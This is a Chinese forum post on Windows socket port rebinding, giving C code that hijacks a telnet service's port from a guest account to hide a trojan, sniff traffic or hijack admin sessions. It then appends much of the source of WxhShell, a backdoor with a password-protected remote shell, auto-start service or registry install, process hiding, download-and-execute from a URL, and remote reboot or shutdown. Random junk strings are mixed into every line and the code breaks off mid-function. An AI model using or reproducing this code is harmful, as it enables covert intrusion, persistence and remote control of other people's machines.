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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )xlNj$(x5n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q1`uS^3`  
JKGUg3\~  
  saddr.sin_family = AF_INET; <iv9Mg}  
qdvGBdF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =}u;>[3  
Ui'~d(F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1 NLawi6  
5{[3I|m{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .V 9E@_(  
!W{|7Es?.  
  这意味着什么?意味着可以进行如下的攻击: |4x&f!%m  
@N1ta-D#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j+PW9>Uh  
`:?padZG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fh:=ja?bM3  
c{s<W}3Ds  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `p*7MZ9 -  
mWta B>f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  31<hn+pE &  
u,4,s[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,TeDJ\k  
^ D?;K8a-l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _Ev"/ %  
X*}S(9cg\i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &h8+ -  
M'R^?Jjb  
  #include qm@c[b  
  #include Vy&F{T;$  
  #include eW0:&*.vMj  
  #include    C[_{ $j(J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |#f P8OK  
  int main() X7Cou6r  
  { %[Ia#0'Y@  
  WORD wVersionRequested; C} Ewi-  
  DWORD ret;  @X  
  WSADATA wsaData; at ]Lz_\  
  BOOL val; wC..LdSR  
  SOCKADDR_IN saddr; 12;" K?7{  
  SOCKADDR_IN scaddr; =DG aK0n  
  int err; ]'DtuT?Z  
  SOCKET s; 0'c<EJ  
  SOCKET sc; =HYMX "s  
  int caddsize; d\'M ~VQ  
  HANDLE mt; bXC;6xZV  
  DWORD tid;   b> &kL  
  wVersionRequested = MAKEWORD( 2, 2 ); _dIv{L!  
  err = WSAStartup( wVersionRequested, &wsaData ); _H<ur?G  
  if ( err != 0 ) { -Y2h vC  
  printf("error!WSAStartup failed!\n"); C(7LwV  
  return -1; Hg*6I%D[So  
  } xGPt5l<M&  
  saddr.sin_family = AF_INET; M@ ! {m  
   (*^_ wq-;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 / QSK$ZDC  
;'p X1T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8mV`|2>  
  saddr.sin_port = htons(23); eWW\m[k]}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oIQor%z  
  { JY_+p9KfyQ  
  printf("error!socket failed!\n"); kc1 *@<L6  
  return -1; ].7)^  
  } \E]s]ft;+  
  val = TRUE; +.b~2K1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gj$gqO`B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #0hX)7(j  
  { w!8h4U. ;  
  printf("error!setsockopt failed!\n"); \7jcZ~FBX%  
  return -1; &z&Jl#t-)  
  } y85GKysT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~?+Jt3?,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "((6)U#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 htkn#s~=  
s:i$s")  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (B7M*e  
  { /J wQ5  
  ret=GetLastError(); }V6}>!Sb  
  printf("error!bind failed!\n"); 9iUkvnphh  
  return -1; |JnJ=@-y  
  } 6 @'v6 1'  
  listen(s,2); Q R\qGhQ~  
  while(1) 'FO^VJ;ha  
  { O`rAqO0F  
  caddsize = sizeof(scaddr); rnEWTk7&  
  //接受连接请求 :M'3U g$t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U3 ED3) D  
  if(sc!=INVALID_SOCKET) UXR$7<D+  
  { pV:X_M6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H [R|U   
  if(mt==NULL) Y[ a$~n^:n  
  { W 29@`93  
  printf("Thread Creat Failed!\n"); 5lVDYmh  
  break; co yy T  
  } Wd3/Y/MD  
  } p@YU7_sF^!  
  CloseHandle(mt); GwxfnC Ki9  
  } _u]Wr%D@  
  closesocket(s); Ym2![FC1  
  WSACleanup(); 3' mQ=tKa  
  return 0; 1g^N7YF  
  }   87r#;ND  
  DWORD WINAPI ClientThread(LPVOID lpParam) nhiCV>@y  
  { %dhnp9'  
  SOCKET ss = (SOCKET)lpParam; X3<<f`X  
  SOCKET sc; !1-:1Whz8  
  unsigned char buf[4096]; 5 ,quM"  
  SOCKADDR_IN saddr; 6psK2d0  
  long num; }gGcYRT  
  DWORD val; "N D1$l  
  DWORD ret; `>g: :  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P)7SK&]r;=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cOxF.(L  
  saddr.sin_family = AF_INET; gR?=z}`@p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !n@Yg2w  
  saddr.sin_port = htons(23); Ro$l/lXl8t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f*aYS  
  { #zZQ@+5zw  
  printf("error!socket failed!\n"); j^Bo0{{  
  return -1; ?2aglj*"v,  
  } Rm&i"  
  val = 100; G\=7d%T+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h/QZcA  
  { 65)/|j+  
  ret = GetLastError(); |9@?8\   
  return -1; >#)^4-e  
  } diaLw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :BN qr[=b  
  { Y'DI@  
  ret = GetLastError(); TMT65X!  
  return -1; /!P,o}l7  
  } >E^sZmY[f-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ri.;&  
  { Oz-X}eM  
  printf("error!socket connect failed!\n"); Zb^0EbV  
  closesocket(sc); 4pduzO'I  
  closesocket(ss); .Q>.|mu  
  return -1; r@%-S!$  
  } */u_RJ  
  while(1) ]wc'h>w  
  { l _dWS9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gh>Rt=Qu%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Yb5F YE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Cz#0Gh>1  
  num = recv(ss,buf,4096,0); xKv\z1ra  
  if(num>0) ,KdD owc  
  send(sc,buf,num,0); 4`7N}$j#,  
  else if(num==0) dNUi|IYm$  
  break; qm{(.b^  
  num = recv(sc,buf,4096,0); ^"(C Zvq  
  if(num>0) +>M^p2l*&  
  send(ss,buf,num,0); z)#I"$!d  
  else if(num==0) Vof[yL `  
  break; h'|{@X  
  } 2ed$5.D  
  closesocket(ss); kD8$ir'UYG  
  closesocket(sc); ^yb3L1y  
  return 0 ; Rr{mD#+  
  } N>/!e787OU  
;xS@-</:  
=e$<[ "  
========================================================== 1~zzQ:jAZ  
K7 -AVMY  
下边附上一个代码,,WXhSHELL Fw)#[  
6c$ so  
========================================================== $BXZFC_1S  
qRZv[T%*Q  
#include "stdafx.h" +vIpt{733  
wqkD  
#include <stdio.h> %iPWg  
#include <string.h> nQy.?*X  
#include <windows.h> c>6dlWTqX  
#include <winsock2.h> G3 rTzMO  
#include <winsvc.h> YC8wo1;Y!  
#include <urlmon.h> 3"NO"+Q  
ZX'q-JUv f  
#pragma comment (lib, "Ws2_32.lib") l=GcgxD+"d  
#pragma comment (lib, "urlmon.lib") MzM"r"u  
o^&u?F9  
#define MAX_USER   100 // 最大客户端连接数 4>-'wMW")  
#define BUF_SOCK   200 // sock buffer Vzn0;  
#define KEY_BUFF   255 // 输入 buffer @tGju\E"o  
BiT #bg  
#define REBOOT     0   // 重启  sC1Mwx  
#define SHUTDOWN   1   // 关机 q^; SZ^yW5  
)CJXk zOX  
#define DEF_PORT   5000 // 监听端口 -d1 YG[1|  
Z$LWZg  
#define REG_LEN     16   // 注册表键长度 dWqKt0uh!  
#define SVC_LEN     80   // NT服务名长度 `<2k.aW4e8  
~_8Dv<"a  
// 从dll定义API #I8)|p?P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n("Xa#mY[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |;sL*Vr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f>!)y-7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c<bV3,  
U*(/eEtd-  
// wxhshell配置信息 >HNBTc=~t  
struct WSCFG { u atY:GSR  
  int ws_port;         // 监听端口 )eIC5>#.  
  char ws_passstr[REG_LEN]; // 口令 `@TWZ%f6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 55q!2>Jh.  
  char ws_regname[REG_LEN]; // 注册表键名 Q]$gw,H"6  
  char ws_svcname[REG_LEN]; // 服务名 E6JfSH#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5.! OC5tO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -<H\VT%98  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .8e]-^Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H1>~,zc>E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _/V <iv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (K xI*  
\A7{kI  
}; 1Xzgm0OS;  
QTr) r;Tro  
// default Wxhshell configuration fE`p  
struct WSCFG wscfg={DEF_PORT, IUf&*'_  
    "xuhuanlingzhe", ]Q0m]OaT  
    1, ~&HP }Q$#f  
    "Wxhshell", v z6No%8X  
    "Wxhshell", 4fauI%kc  
            "WxhShell Service", E{s p  
    "Wrsky Windows CmdShell Service", $ix:S$  
    "Please Input Your Password: ", YYNh| 2  
  1, q8A;%.ZLG  
  "http://www.wrsky.com/wxhshell.exe", f euATL]  
  "Wxhshell.exe" ,Tp:. "  
    }; 8u8-:c%{  
k_;g-r,  
// 消息定义模块 MrjgV+P}[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5"sd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +pUG6.j%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W4Z8U0co  
char *msg_ws_ext="\n\rExit."; +MZsL7%  
char *msg_ws_end="\n\rQuit."; dCA| )  
char *msg_ws_boot="\n\rReboot..."; 9K!kU6Gh  
char *msg_ws_poff="\n\rShutdown..."; oZ,J{I!L  
char *msg_ws_down="\n\rSave to "; B7x( <!B  
n( RQre  
char *msg_ws_err="\n\rErr!"; `PY=B$?{4  
char *msg_ws_ok="\n\rOK!"; mrmm@?  
|\.:h":!0~  
char ExeFile[MAX_PATH]; \-Vja{J]  
int nUser = 0; H(?)v.%  
HANDLE handles[MAX_USER]; CP0;<}k  
int OsIsNt; .*}!XKp0j  
A1Ru&fd!  
SERVICE_STATUS       serviceStatus; sqXwDy+.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M$u.lI  
GFGW'}w-  
// 函数声明 izDfpr}s4  
int Install(void); m^!Kthq  
int Uninstall(void); TWSqn'<E  
int DownloadFile(char *sURL, SOCKET wsh); cMs8D  
int Boot(int flag); '4KN  
void HideProc(void); 'p FK+j  
int GetOsVer(void); :+_uyp2V  
int Wxhshell(SOCKET wsl); <)$&V*\  
void TalkWithClient(void *cs); jOUM+QO  
int CmdShell(SOCKET sock); pO?v$Rjl  
int StartFromService(void); -kF8ZF  
int StartWxhshell(LPSTR lpCmdLine); h* 72 f/#  
Y`NwE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?e{hidg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :6gRoMb]  
h+rW%`B  
// 数据结构和表定义 0tKVo]EK  
SERVICE_TABLE_ENTRY DispatchTable[] = ~3& *>H^U  
{ (H^)wDb  
{wscfg.ws_svcname, NTServiceMain}, jn +*G<NJ  
{NULL, NULL} t|urvoz  
}; ~6A;H$dr  
_-|/$ jZ  
// 自我安装 _u3%16,o  
int Install(void) Rp+Lu  
{ ?;]Xc~  
  char svExeFile[MAX_PATH]; ,(i`gH{D  
  HKEY key; q2 b>Z6!5  
  strcpy(svExeFile,ExeFile); 8vkCmV  
s"UUo|hM  
// 如果是win9x系统,修改注册表设为自启动 ++sbSl)Q  
if(!OsIsNt) { j/t)=c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T mK[^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K 0e*K=UM  
  RegCloseKey(key); \G0YLV~>P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |.z4VJi4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {uDH-b(R  
  RegCloseKey(key); }}qY,@eeX  
  return 0; |2E:]wT}qg  
    } ToK=`0#LNK  
  } +iqzj-e&e[  
} 1B#iJZ}  
else { J#IVu?B  
cG"wj$'w  
// 如果是NT以上系统,安装为系统服务 *(s0X[-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2FN E ;y(  
if (schSCManager!=0) $D='NzE/  
{ h ,\5C/  
  SC_HANDLE schService = CreateService aX,6y1  
  ( q eDXG  
  schSCManager, 5O(U1 *  
  wscfg.ws_svcname, %I=/ y  
  wscfg.ws_svcdisp, u4tv= +jh  
  SERVICE_ALL_ACCESS, Tn"@u&P *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {%_D> y  
  SERVICE_AUTO_START, W|Cs{rBc?  
  SERVICE_ERROR_NORMAL, 99\lZ{f(  
  svExeFile, ov<vSc<u  
  NULL, O7]kcA  
  NULL, nx(jYXVT  
  NULL, T[evh]koB  
  NULL, C#V_Gb  
  NULL }uwZS=pw  
  ); /PVx  
  if (schService!=0) U2)?[C1q{  
  { g"~`\ xhx  
  CloseServiceHandle(schService); F}.R -j#  
  CloseServiceHandle(schSCManager); ;}lsD1S:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q@"}v_r4  
  strcat(svExeFile,wscfg.ws_svcname); )<%CI#s#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7z_ZD0PxPc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6?ky~CV  
  RegCloseKey(key); 4p7j "d5  
  return 0; :IX,mDO  
    } DUSQh+C  
  } O1@3V/.Wu  
  CloseServiceHandle(schSCManager); $ y(Qdb  
} ]s0GAp"  
} 194n   
O2":)zU.  
return 1; z6Fl$FFP  
} ZA&bp{}D  
mBEMwJ}O`  
// 自我卸载 ]Exbuc  
int Uninstall(void) KjMwrMgC  
{ n<P&|RTZ  
  HKEY key; .}GOHW)}  
<isU D6TC  
if(!OsIsNt) { c'XSs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xU2i&il^!  
  RegDeleteValue(key,wscfg.ws_regname); .+mP#<mAg  
  RegCloseKey(key); odDVdVx0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8>G5VhCm~o  
  RegDeleteValue(key,wscfg.ws_regname); fRxn,HyV  
  RegCloseKey(key); ^;K"Y'f$  
  return 0; W9{i~.zo  
  } qu.AJ*  
} M+M  ;@3  
} uGn BlR$}  
else { Adet5m.|[8  
<I*N=;7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g\9&L/xDN  
if (schSCManager!=0) m7`S@qG  
{ )6BySk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lxn-M5RPQ  
  if (schService!=0) 7yJE+o'  
  { l*(L"]  
  if(DeleteService(schService)!=0) { BUdO:fr  
  CloseServiceHandle(schService); } @ [!%hE  
  CloseServiceHandle(schSCManager); AQtOTT$  
  return 0; 2kOaKH[(q  
  }  k{'<J(Hb  
  CloseServiceHandle(schService); OJ7 Uh_;/  
  } L8Q/!+K  
  CloseServiceHandle(schSCManager); o6RT4`  
} x[fp7*TiG  
} 7L!}F;yT  
0$NzRPbH  
return 1; nTw:BU4jd  
} Bp5 %&T k  
t<"`gM^|  
// 从指定url下载文件 m;nH v  
int DownloadFile(char *sURL, SOCKET wsh) -tx%#(?wH  
{ c (29JZ  
  HRESULT hr; Zx`/88!x[  
char seps[]= "/"; ~.6% %1?  
char *token; c}!`tBTm  
char *file; g6xQQ,q=l  
char myURL[MAX_PATH]; 4=%,0.yt  
char myFILE[MAX_PATH]; m<LzgX  
`gF ]  
strcpy(myURL,sURL); C^LxJG{L5  
  token=strtok(myURL,seps); 4jlwu0L+  
  while(token!=NULL) BpGyjo J2  
  { tk)}4b^\%j  
    file=token; V3T.EW  
  token=strtok(NULL,seps); bMsThoePT  
  } t|9vb  
\II^&xSF  
GetCurrentDirectory(MAX_PATH,myFILE); NG RXNh+  
strcat(myFILE, "\\"); FjI1'Ah\  
strcat(myFILE, file); J*zQ8\f=}  
  send(wsh,myFILE,strlen(myFILE),0); uhv_'Q  
send(wsh,"...",3,0); Z"KrirZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :^qUr`)  
  if(hr==S_OK) tR 4+]K  
return 0; >p#_ L^oZ%  
else OlptO60{ ]  
return 1; D+N@l"U{  
_RS CyV  
} f =A#:d  
\ [M4[Qlq  
// 系统电源模块 "rc QS H  
int Boot(int flag) ,&s"f4Mft  
{ RQu[FZT,  
  HANDLE hToken; [z*1#lj S  
  TOKEN_PRIVILEGES tkp; 0+)1K U)I  
@ *uZ+$  
  if(OsIsNt) { D51s)?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z^Wv(:Nr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %tPy]{S..  
    tkp.PrivilegeCount = 1; FW)~e*@8=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {d0 rUHP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M$Rh]3vqR  
if(flag==REBOOT) { L^PBcfg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a1ps'^Qhh  
  return 0; ' QjJ^3A  
} Jh36NE8r  
else { hQz1zG`z7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =s*4y$%I  
  return 0; DGw*BN%`  
} }IdkXAB.  
  } * bhb=~  
  else { [jxh$}?P  
if(flag==REBOOT) { ]GsI|se  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ay`R jT  
  return 0; Z 0v&AD=  
} &T ^bv*P  
else { % .ss  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '|*e4n  
  return 0; C[l5[DpH  
} J l{My^I5  
} e2>AL  
>5TXLOYZ  
return 1; _KBa`lhE  
} \/nSRAk  
-G'3&L4 D  
// win9x进程隐藏模块 ] r%fAm j  
void HideProc(void) 3qDbfO[  
{ L s3r( Tf  
&m]jYvRc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q4Qf/q;U  
  if ( hKernel != NULL ) k'sPA_|  
  { k9NHdi7&2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5^CWF|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gR_Exs'K  
    FreeLibrary(hKernel); w'y,$gtX/  
  } k! x`cp  
aWP9i &  
return; M"msLz  
} @3U=kO(^+\  
?k@;,l :s  
// 获取操作系统版本 W[e2J&G  
int GetOsVer(void) bweAmSs  
{ 5d# 73)x$  
  OSVERSIONINFO winfo; $:UD #eh0?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u6:$AA  
  GetVersionEx(&winfo); +1\t 0P24  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G_WHW(8   
  return 1; `D$RL*C;M`  
  else b&d4(dk  
  return 0; *iyc,f^w  
} jR+k x:+  
-q nOq[  
// 客户端句柄模块 cFq2 6(e  
int Wxhshell(SOCKET wsl) \JCpwNT{P  
{ 3{Zd<JYg4-  
  SOCKET wsh; ZsYY)<n  
  struct sockaddr_in client; l&m Y}k  
  DWORD myID; v0bP|h[t  
HV]u9nrt#  
  while(nUser<MAX_USER) u?>8`]r  
{ 64<*\z_  
  int nSize=sizeof(client); q$`>[&I~)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )YZx]6\l)  
  if(wsh==INVALID_SOCKET) return 1; ^ ]+vtk  
wS >S\,LV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [L ' >  
if(handles[nUser]==0) 6JR FYgI  
  closesocket(wsh); }}"|(2I  
else ZXIz.GFy+  
  nUser++; ",Fvv  
  } Sogt?]HB$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vTWm_ed+^  
8.7lc2aX  
  return 0; \>{;,f  
} +=nWB=iCb  
` 7?EE1o  
// 关闭 socket S/l6c P  
void CloseIt(SOCKET wsh) #>sI XY  
{ u% =2g'+)_  
closesocket(wsh); 8_O?#JYi  
nUser--; HXPq+  
ExitThread(0); R+=wSG]  
} ~8-xj6^  
$' ::51  
// 客户端请求句柄 4AF.KX7  
void TalkWithClient(void *cs) `joyHKZI.  
{ Wd ga(8t  
_NpxV'E  
  SOCKET wsh=(SOCKET)cs; U8,pe;/ln`  
  char pwd[SVC_LEN]; e+<9Sh7&  
  char cmd[KEY_BUFF]; 5ci1ce  
char chr[1]; s3K!~v\L]  
int i,j; 'tjqfR  
k/BlkjlNE  
  while (nUser < MAX_USER) { l?Ibq}[~  
7?);wh7`  
if(wscfg.ws_passstr) { T`]P5Bk8r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k[f_7lJ2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oR3t vw.  
  //ZeroMemory(pwd,KEY_BUFF); ft4hzmuzM  
      i=0; /bo`@ !-#  
  while(i<SVC_LEN) { mrr -jo  
n?9FJOqi  
  // 设置超时 d'b9.ki\  
  fd_set FdRead; Az:A,;~+,!  
  struct timeval TimeOut; 8q:# '  
  FD_ZERO(&FdRead); :sA UV79M  
  FD_SET(wsh,&FdRead); ["<'fq;PJ  
  TimeOut.tv_sec=8; #%V+- b(  
  TimeOut.tv_usec=0; )HX(-"c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lnF{5zc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LyL(~Jc|  
ktp<o.f[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8PWEQ<ev7>  
  pwd=chr[0]; HK%W7i/k@  
  if(chr[0]==0xd || chr[0]==0xa) { j[dgY1yE:  
  pwd=0; )l`VE_(|  
  break; ,/!^ZS*  
  } J6<O|ng::  
  i++; ?0qP6'nWx  
    } ^uPg71r:  
WF2t{<]^e  
  // 如果是非法用户,关闭 socket Dt iM}=:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0]^gT'  
} v I,T1%llu  
oa`7ClzD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~@T`0W-Py  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %J1oz3n  
Wv ~&Qh}  
while(1) { x@[6u  
k~, k@mR  
  ZeroMemory(cmd,KEY_BUFF); ,ne3uPRu7~  
O%px>rdkY  
      // 自动支持客户端 telnet标准   ud"Kko Rt  
  j=0; =1<v1s|)q  
  while(j<KEY_BUFF) { wxT( ktE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O{Z${TC[  
  cmd[j]=chr[0]; ;82?ACCP  
  if(chr[0]==0xa || chr[0]==0xd) { 0sB[]E|7[s  
  cmd[j]=0; a|4Q6Ycu  
  break; 'rA(+-.M;  
  } Iyb_5 UmpF  
  j++; tJ&tNSjTi  
    } qVjMflVoay  
h 9}x6t,  
  // 下载文件 >2X-98,  
  if(strstr(cmd,"http://")) { IaU%L6Q]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); & x_ #zN]  
  if(DownloadFile(cmd,wsh)) Eh$1p iJG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cH+ ~|3  
  else hML-zZ   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Q)YZ2  
  } cS Qb3}a\  
  else { Fh|{ib  
yhs:.h  
    switch(cmd[0]) { OB*V4Yv  
  {<?8Y  
  // 帮助 $dA]GWW5A  
  case '?': { ]b:>7_la  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9Hd_sNUu\  
    break; y*p02\)  
  } E=`/}2  
  // 安装 c5: X$k\  
  case 'i': { Z[eWey_  
    if(Install()) ''3I0X*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wrh$`JC  
    else ?0?3yD-!9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @7KG0<]h  
    break; 8)ng> l  
    } gYe6(l7m  
  // 卸载 O~Bh(_R&  
  case 'r': { LWhP d\  
    if(Uninstall()) ZDov2W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ia_l P  
    else FYK`.>L28  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W+5. lf=2>  
    break; Q|e-)FS)  
    } 90K&oof?M  
  // 显示 wxhshell 所在路径 nd7g8P9p  
  case 'p': { a,r B7aD  
    char svExeFile[MAX_PATH]; &~2I Fp  
    strcpy(svExeFile,"\n\r"); 0=K8 nxdx  
      strcat(svExeFile,ExeFile); +w"?q'SnF  
        send(wsh,svExeFile,strlen(svExeFile),0); oYt 34@{?  
    break; C\B4Uu6q  
    } r4<aEj;l  
  // 重启 5pK _-:?  
  case 'b': { 0G0(g,3p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rd|8=`)  
    if(Boot(REBOOT)) OHrzN ']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z,4 D'F&  
    else { oR/_{#Mz"  
    closesocket(wsh); ou- uZ"$,c  
    ExitThread(0); }}D32T VN  
